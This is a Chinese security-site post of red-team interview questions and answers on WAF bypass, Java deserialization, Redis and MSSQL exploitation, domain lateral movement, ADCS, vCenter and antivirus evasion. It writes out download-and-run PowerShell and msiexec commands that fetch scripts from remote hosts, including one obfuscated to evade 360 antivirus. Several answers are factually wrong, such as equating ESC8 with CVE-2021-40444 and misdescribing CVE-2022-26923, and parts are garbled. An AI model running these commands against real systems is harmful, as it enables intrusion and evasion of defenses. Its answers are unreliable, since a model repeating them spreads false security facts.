红队面试题一期

admin 2024年4月24日00:53:37评论4 views字数 9754阅读32分30秒阅读模式

1.shiro 如何绕 waf

未知HTTP请求方法

真实IP进行一个HOST绑定

HOST回车

playload字符串干扰base64解码特性导致

使用垃圾数据绕过

2.Shiro环境不出网时,我们该怎么判断是否存在Shiro反序列化漏洞?

就是反序列过程最后会进行类型转换,而返回包中DeleteMe字段是在密钥不对或者类型转换等错误抛出异常时,在返回头添加的字段。如果我们反序列化的类是PrincipalCollection的子类且密钥又正确,返回头便不会有DeleteMe字段。

3.weblogic 如果在打站的时候,一旦遇到了 waf,第一个 payload 发过去,直接被拦截了, ip 也被 ban 了,如何进行下一步操作

1.先研究weblogic请求方式

2.挂上代理池

3.排除法测试waf拦截机制绕过waf

添加多个/////////////

添加无意义的GET请求参数,添加username=xxxxx或者password=sdfewfwfeewffew等等。

URL编码混淆掺杂

请求数据包中添加脏数据,可以在<wsa:RelatesTo>标签中间添加脏数据

头部添加xxxxxxx脏数据

XML注释掺杂的方法绕过waf设备检测。

4.jboss 反序列化原理

CVE-2017-12149

存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化

源码在jbossserveralldeployhttpha-invoker.sarinvoker.warWEB-INFclassesorgjbossinvocationhttpservlet目录下的ReadOnlyAccessFilter.class文件中

http中获取数据,通过调用readobject()方法对数据流进行反序列操作,但是没有进行检查或者过滤。这就造成了JBoss中invoker/JMXInvokerServlet路径对外开放,而且JBoss的jmx组件支持Java反序列化

5.weblogic 反序列化原理,随便说一个漏洞,然后说触发原理

CVE-2023-21931

Weblogic的WLNamingManager类中,当传入的对象是LinkRef的实现类时,会调用对象的getLinkName()方法,并通过lookup()方法对getLinkName()方法返回的地址进行远程JNDI加载。

CVE-2023-21839

通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端调用远程对getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行。

CVE-2024-20931漏洞概述:

WebLogic中存在一个名为ForeignOpaqueReference的对象,其getReferent函数在远程对象查询时再次发起JNDI查询,导致了JNDI注入。

6.Fastjson反序列化漏洞

判断:

正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。

原理:

fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。

fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

7.fastjson 判断漏洞回显是怎么判断的,是用 dns 做回显还是其他的协议做,为什么,无回显利用

1.如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

2.追加一个随机 key ,修改 json 为

{"name":"S", "age":21,"agsbdkjada__ss_d":123}

这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显

3.BECL攻击,tomcat的BasicDataSource链编译poc,将poc的class字节码转化为bcel然后发送payload

令执行/内存马SpringEcho 回显Tomcat 回显abitis 回显

8.代码审计框架

Mybatis:

#{id}:相当于JDBC中的PreparedStatement,预编译处理参数,可以有效的避免注入${id}:是未经过预编译,仅仅取输出变量的值

Spring框架IOC和AOP的实现原理

Spring IOC容器的主要工作包括读取应用程序提供的Bean配置信息,实例化Bean,并建立Bean之间的依赖关系。

aop定义了一个名为xxxx的切面类,使用了@Aspect@Component注解,通过@Before@After注解,我们指定了这些通知方法应该在哪些连接点上执行,配置Spring AOP:定义了一个名为loggingAspectBean,它引用了我们的切面类LoggingAspect。然后,我们使用<aop:aspectj-autoproxy/>元素启用了AOP自动代理功能。

Spring MVC的代码逻辑结构

控制器是MVC模式中的C,负责处理用户请求并返回响应。在Spring MVC中,控制器通常是通过注解或XML配置的方式定义的。控制器可以调用服务层(Service)来处理业务逻辑,并将结果封装成模型(Model)返回给视图(View)。

9.泛微,致远,用友这三套系统代码框架简述

泛微:

1./ecology/classbean/目录下均为Java类,想要访问该目录下的类都采用/weaver

2./xx.jsp

jsp的绝对路为D:/ecology/addressbook/AddressBook.jsp,那么该jsp的访问路径为http://ip:port/addressbook/AddressBook.jsp

3./services/*

org.codehaus.xfire.transport.http.XFireConfigurableServlet读取classbean/META-INF/xfire/services.xml文件进行加载创建。 4./api/*

ecology/WEB-INF/Api.xls文件中查看所有的api接口路径和相关类

5./*.do

ecology/WEB-INF/service/*.xml所配置

泛微安全策略:

安全策略的具体内容分为两种,规则形式的xml文件(位于WEB-INF/securityRule),和实现weaver.security.rules.BaseRule接口的类(位于WEB-INF/myclasses/weaver/security/rules/ruleImp

泛微SQL注入过滤策略:/ecology/WEB-INF/securityRule/Rule/weaver_security_for_sqlinjection_rules.xml

致远:

源代码位置:SeeyonA8ApacheJetspeedwebapps

核心路由配置在SeeyonA8ApacheJetspeedwebappsseeyonWEB-INFweb.xml中,

它默认加载/WEB-INF/spring.xml,而spring.xml加载的是spring-session.xml

 用友:

核心路由都位于/home/webapps/nc_web/WEB-INF/web.xml

/NCFindWeb ,出现过目录遍历漏洞/NCFindWeb?service=IPreAlertConfigService&filename=

/service/*/servlet/* ,实际处理类都是InvokerServlet,其doGet和doPost方法,也是路由转发的核心,核心逻辑是截取出moduleNameserviceName,然后反射调用对应的Servlet。

10.php 里面的 disable_function 如何去进行绕过,为什么可以绕过,原理是什么?

PHP7利用UAF漏洞 此漏洞通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令PHP7-Backtrace-UAF用在debug_backtrace()函数中,我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞。

Json Serializer UAF利用利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令。

Apache Mod CGIapache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。

PHP-FPM/FastCGI

利用PHP FFI是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。

11.假如说,在攻防的时候,控下来一台机器,但是只是一台云主机,没有连接内网,然后 也没有云内网,请问怎么深入的对这台云主机进行利用?

1.横向移动:虽然当前没有内网连接,但你可以尝试利用云主机作为跳板,寻找其他可能的攻击路径。例如,你可以尝试扫描互联网上的其他开放服务,看是否能够找到与目标云服务相关的其他系统。

2.社会工程学:利用云主机上的信息进行社会工程学攻击,比如通过电子邮件、电话等方式欺骗目标组织的员工,获取更多敏感信息或者诱导他们执行恶意操作。

3.利用云服务特性:研究云服务提供商的特定功能,比如对象存储、API访问等,看是否有可能通过这些服务进行攻击。

12.redis 怎么去做攻击,主从复制利用条件,为什么主从复制可以做到拿 shell,原理是什 么,主从复制会影响业务吗,主从复制的原理是什么?

·Windows下,绝对路径写webshell 、写入启动项。

·Linux下,绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。

·从节点通过slaveof命令连接到主节点并发送SYNC命令。

·主节点响应SYNC,触发BGSAVE来创建RDB快照文件,并将其传输给从节点。

·从节点加载RDB快照文件,之后主节点将缓冲区中的写命令发送给从节点,以保持数据同步。

·Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

13.becl 利用链使用条件,原理,代码跟过底层没有,怎么调用的?

攻击方法apache-BCEL创建一个对象然后调用loadClass方法

调用 creatClass方法以后会对数据进行解码

需要引入tomcat的依赖tomcat-dbcp

14.假如我攻击了一台 17010 的机器,然后机器被打重启了,然后重启成功后,机器又打成功了,但是无法抓到密码,为什么无法抓到,这种情况怎么解决这个问题?

答:至于为什么无法抓取密码,是因此我们常规的密码抓取都是抓取 lsass.exe 进程的内存,但是由于重启的机器是没有用户进行登录,因此 lsass.exe 中没有任何凭证。可以通过 sam,system 的方式,获取当前机器本地用户的 hash 值。

15.内网我现在在域外有一台工作组机器的权限,但是没有域用户,横向也不能通过漏洞打 到一台域用户的权限,但是我知道一定有域,请问这种情况怎么进入域中找到域控?

爆破yu用户名ping定位ip

16.内网拿到了一台 MSSQL 机器的权限,但是主机上有 360,一开 xp_cmdshell 就被拦截了,执行命令的权限都没有,这种情况怎么进行绕过。

答:众所周知,MSSQL 的命令执行有三种基础方式,xp_cmdshell、sp_oacreate 和 CLR。既然 xp_cmdshell 被拦截,那么选择另外两种执行就好了,特别是 CLR。

混淆命令:exec master.dbo.xp_cmdshell "powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://39.**.**.238:8888/360.ps1''))';IEX ($a+$b)"

17.什么是 mssql 的存储过程,本质是什么?为什么存储过程可以执行命令?

答:存储过程(Stored Procedure)是一组为了完成特定功能的SQL语句集,这些语句被预先编译并存储在数据库中,从本质上讲,存储过程是数据库命令的集合,这些命令被组织在一起以实现特定的功能或管理任务。

18.如果想通过 mssql 上传文件,需要开启哪个存储过程的权限?

为了通过MSSQL上传文件,需要开启系统存储过程的权限。

MSSQL中,存储过程可以分为三类:系统存储过程、扩展存储过程和用户定义的存储过程。其中,系统存储过程主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用。

19.内网文件落地怎么去做,用什么命令去执行来落地,如果目标主机不出网怎么办?

利用Windows缓存机制进行文件落地

powershell.exe -nop -w hidden -c"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/test.ps1'))"

ieexec http://ip:8080/test.exe

msiexec.exe /q /i http://192.168.173.45/test.msi

使用VBScript执行远程命令通常需要与Windows管理工具如WMI

20.内网域渗透中,利用 ntlm relay 配合 adcs 这个漏洞的情况,需要什么利用条件,responder 这台主机开在哪台机器上,为什么,同时为什么 adcs 这个漏洞能获取域管理员权限,原理 是什么

利用NTLM Relay配合ADCS漏洞需要用户凭据和Responder主机在目标网络中

1.攻击者首先使用Responder工具嗅探局域网中的NTLM验证请求。

2.当受害者尝试访问网络资源时,Responder会捕获受害者的NTLM验证请求。

3.攻击者通过NTLM Relay漏洞将受害者的NTLM验证请求重定向到存在ADCs漏洞的目标机器。

4.目标机器处理重定向过来的NTLM验证请求,并在处理过程中触发ADCs漏洞。

5.攻击者利用ADCs漏洞在目标机器上执行恶意代码,从而获取域管理员权限。

6.ADCS漏洞能导致攻击者获取域管理员权限,原因在于ADCS服务的配置错误。正常情况下,应该只有授权的用户才能为其他用户或计算机申请证书。但如果ADCS服务配置不当,例如,如果它允许任何经过身份验证的用户请求基于某个模板生成的新证书,那么攻击者就可以利用这一点,为自己或者其他机器申请本应只由高权限用户(比如管理员)才能申请的证书。

21.内网域渗透中,最新出的 CVE-2022-26923 ADCS 权限提升漏洞需要什么利用条件,原理 是什么,相比原来的 ESC8 漏洞有什么利用优势?

利用条件:

o目标环境中安装了 Active Directory Certificate Services (ADCS)。

o攻击者需要获得对目标 ADCS 服务器的网络访问权限。

原理:

oADCS 用于处理证书请求,并为用户和设备颁发证书。在处理证书请求时,ADCS 会根据请求中的信息来确定证书的属性,如有效期、使用的算法等。

o该漏洞是由于 ADCS 在处理特制的证书请求时,未正确验证请求中的某些属性。攻击者可以创建一个特制的证书请求,使其包含一个可执行的 payload,并将其提交给 ADCS 服务器。当 ADCS 处理此请求时,它会将 payload 解析并执行,从而允许攻击者提升权限并执行恶意代码。

ESC8 漏洞的比较:

oESC8(CVE-2021-40444)是一个影响 Windows 安全中心的漏洞,攻击者可以通过发送特制的消息来利用该漏洞。相比 ESC8,CVE-2022-26923 更加专注于 ADCS 服务,且利用条件更加具体。

oESC8 漏洞需要攻击者获得对目标设备的网络访问权限,而 CVE-2022-26923 需要攻击者获得对 ADCS 服务器的网络访问权限。这意味着,虽然两个漏洞都需要网络访问权限,但 CVE-2022-26923 的利用范围可能更窄。

oESC8 漏洞是一种远程代码执行漏洞,而 CVE-2022-26923 是一种权限提升漏洞。这意味着,ESC8 可以直接执行恶意代码,而 CVE-2022-26923 需要先获得一定的权限,然后才能利用漏洞提升权限。

22.内网渗透中,如果拿到了一套 vcenter 的权限,如何去进一步深入利用?db 文件如何解 密?原理是什么?

伪造cookie-LDAP创建管理员-获取Vcenter后台windows机器权限-利用伪造cookie或者LDAP创建管理员进入到后台,找到一台处于锁屏界面的windows主机,创建快照。

23.vcenter 机器拿到管理员密码了,也登录进去了,但是存在一个问题,就是内部有些机 器锁屏了,需要输入密码,这个时候怎么去利用?

1.下载vmem文件:对于Windows机器,如果它们是锁屏状态,可以尝试将vmem文件下载下来。vmem是Windows系统的内存文件,通过特定的内存分析工具,如Volatility,可以进行内存取证,提取出系统中保存的密码哈希值。

2.利用SSH和Bash模式:如果能够通过vCenter开启SSH和Bash模式,可以利用默认账号sso-user的无限制sudo权限来执行命令。这样可能可以直接获取ESXI上的账号和密码。

3.抓取Hash值:在某些情况下,可以通过抓取处于锁屏状态机器的Hash值来绕过密码验证。这通常需要一定的技术手段和工具来实现。

24.内网权限维持的时候,360 开启了晶核模式,怎么去尝试权限维持?计划任务被拦截了 怎么办?

1.制作免杀马:创建一个免杀的恶意程序(木马),通过CS(Cobalt Strike)上线,然后尝试创建计划任务来维持权限。如果直接创建计划任务被拦截,可以尝试对特定进程进行注入,以此来绕过安全软件的检测。

2.COM接口初始化:使用COM接口来初始化任务服务对象,然后连接到任务服务,获取Root Task Folder的指针,这个指针指向的是新注册的任务。通过这种方式,即使计划任务被拦截,也可能通过任务服务对象来操作计划任务。

3.利用lolbin致盲:在渗透过程中,如果遇到360开启核晶模式导致后渗透行为被拦截,可以利用特定的技巧进行绕过。例如,使用lolbin等工具来致盲360安全软件的检测机制。

25.如果 net group Domain Admins/domain 这条命令,查询域内管理员,没法查到,那么 可能出现了什么问题?怎么解决?

1.权限不足:执行该命令的用户可能没有足够的权限来查看域管理员组。您需要确保执行命令的用户具有足够的权限,通常是域管理员权限。

2.域信任问题:如果域之间的信任关系出现问题,也可能导致无法查看到域管理员组。可以使用nltest /domain_trusts命令来检查域信任关系。

26.查询域内管理员的这条命令的本质究竟是去哪里查,为什么输入了之后就可以查到?

命令net group "Domain Admins" /domain是在请求查询Active Directory中的组信息。这个命令会向域控制器发送一个请求,域控制器是管理和维护Active Directory数据库的服务器。Active Directory数据库存储了所有与域相关的信息,包括用户账户、计算机账户和组账户等。

27.免杀中,如何去过国内的杀软,杀软究竟在杀什么?那么国外的杀软比如卡巴斯基为什 么同样的方法过不了呢?

1.本土化特征:国内的安全软件可能会根据国内用户环境和攻击趋势来定制自己的病毒库和检测逻辑。这意味着它们可能对本地常见的攻击手法有更细致的检测规则。

2.检测技术:安全软件通常利用启发式分析、行为监测、静态和动态分析等多种技术来识别恶意软件。这包括检查文件的哈希值、字符串、文件行为等。

3.免杀策略:为了绕过这些检测,攻击者会使用各种免杀策略,如修改恶意软件的代码、使用加密或编码来改变其特征、利用内存中执行等方法。

4.地域差异:国外安全软件如卡巴斯基可能更侧重于全球范围内的威胁情报,并且它们的检测逻辑和响应团队可能与国内不同。因此,某些在国内有效的免杀技巧在国外的安全软件上可能不适用。

5.分离免杀:在免杀技术中,分离免杀指的是将恶意代码分割成多个部分存储在不同的位置,只在运行时组合起来执行。这样做是为了降低被单一检测点发现的几率。

6.单体免杀:相对于分离免杀,单体免杀则是指整个恶意代码作为一个整体存在,通过修改这个整体来达到免杀的效果。

7.打点漏洞:打点常用什么漏洞,这可能是指在制作免杀过程中,利用某些特定的系统漏洞来帮助恶意软件绕过安全软件的检测。

8.主流方法:目前,对shellcode进行进一步修改编译成为了msf免杀的主流方法。互联网上有很多借助于C、C#、Python等语言对shellcode进行二次编码从而达到免杀的效果。

28.内网横向中,是直接进去拿一台机器的权限直接开扫,还是有别的方法?

1.利用获取的凭证:攻击者可能需要先获取域用户的密码或Hash值,然后使用这些凭证进行横向移动。例如,通过哈希传递攻击、票据传递或使用黄金票据维持权限。

2.建立持久后门:一旦攻击者获得了目标系统的访问权限,他们通常会建立一个后门,以便在未来能够持续控制目标系统,即使漏洞被修复也不会失去对目标的控制。

3.使用特定工具:攻击者可能会使用特定的工具来提取系统中的用户密码Hash,例如Pwdump7,然后利用其他工具如ophcrack破解出明文密码,这对进一步渗透有很大帮助。

4.内部网络侦察:在获得初始访问权限后,攻击者会进行内部网络侦察,以了解网络结构、寻找有价值的目标和潜在的安全漏洞。

5.提权技术:攻击者可能会使用提权技术来提升自己在系统中的权限,从而访问更敏感的数据或系统资源。

6.利用信任关系:在域环境中,攻击者可能会利用用户和计算机之间的信任关系,通过模仿合法用户的行为来访问其他系统。

7.社会工程学:在某些情况下,攻击者可能会使用社会工程学技巧来说服员工提供敏感信息或执行恶意程序。

29.如果被防守方发现,vCenter 的 webshell 权限还在,但是无法登录 Web 控制台了,还有哪些利用方法

答:通过获取 ESXi 的 vsphere-ui 用户权限,可以通过打快照的方式再次获取密码。

30.钓鱼上线的主机,如何进行利用?背景是只发现了一个域用户,但是也抓不到密码,但 是有域?

1.模拟Windows系统环境中的身份认证场景,如Outlook登录、提升授权(用户账户控制)或者锁屏解锁等,通过伪造这些场景来欺骗用户。

FakeLogonScreen

Invoke-CredentialPhisher

Edge kiosk

2.Credsleaker 允许攻击者使用 Windows Security 制作高度令人信服的凭据提示,根据 DC 进行验证,然后通过 HTTP 请求泄露它。

该脚本用于显示 powershell 凭据框,伪装成Windows安全询窗口的实用程序,为了使其常运行,需要Web服务器,该Web服务器将从其接收所有必需的文件,并在其中存储用户凭以及Powershel的存在,以向其服务器发送HTTP请求。

    扫码关注后台回复“安全”

获取资料

红队面试题一期
红队面试题一期
理想·致敬每一个安全人
初心不改,筑梦未来

                                                  红队面试题一期

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日00:53:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队面试题一期https://cn-sec.com/archives/2682946.html

发表评论

匿名网友 填写信息